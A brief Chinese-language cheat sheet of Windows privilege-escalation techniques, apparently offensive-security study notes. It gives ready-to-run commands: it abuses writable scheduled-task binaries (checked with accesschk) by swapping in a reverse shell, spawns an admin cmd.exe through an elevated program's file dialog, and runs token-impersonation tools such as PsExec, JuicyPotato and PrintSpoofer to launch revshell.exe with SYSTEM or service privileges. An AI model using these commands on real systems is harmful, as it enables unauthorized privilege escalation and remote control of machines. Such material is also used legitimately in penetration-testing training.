如果您发现具有适当权限的任务,请使用 accesschk 进行验证:.\accesschk.exe /accepteula -quvw user C:\Program Files\<path to program\program.exe
如果您可以写入它,则可以将其替换为 revshell,或者如果它是脚本,则将我们的 revshell 的路径附加到它。
不安全的 GUI 应用程序 需要:启用“以管理员身份运行”的程序。
在程序中:文件->打开->file://c:/windows/system32/cmd.exe
这应该打开以管理员身份运行的 cmd.exe。
令牌模拟 所有这些都需要:SeImpersonatePrivilege
或SeAssignPrimaryToken
如果您需要本地服务帐户(可能),您可以使用 PSExec64.exe 以管理员身份生成一个帐户:.\PSExec64.exe -i -u "nt authority\local service" C:\temp\revshell.exe
多汁土豆 跑步: .\JuicyPotato.exe -l 1337 -p C:\temp\reverse.exe -t * -c {CLSID}
在这里查找 CLSID:https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
流氓土豆 打印欺骗者 跑步:.\PrintSpoofer.exe -i -c "C:\temp\revshell.exe"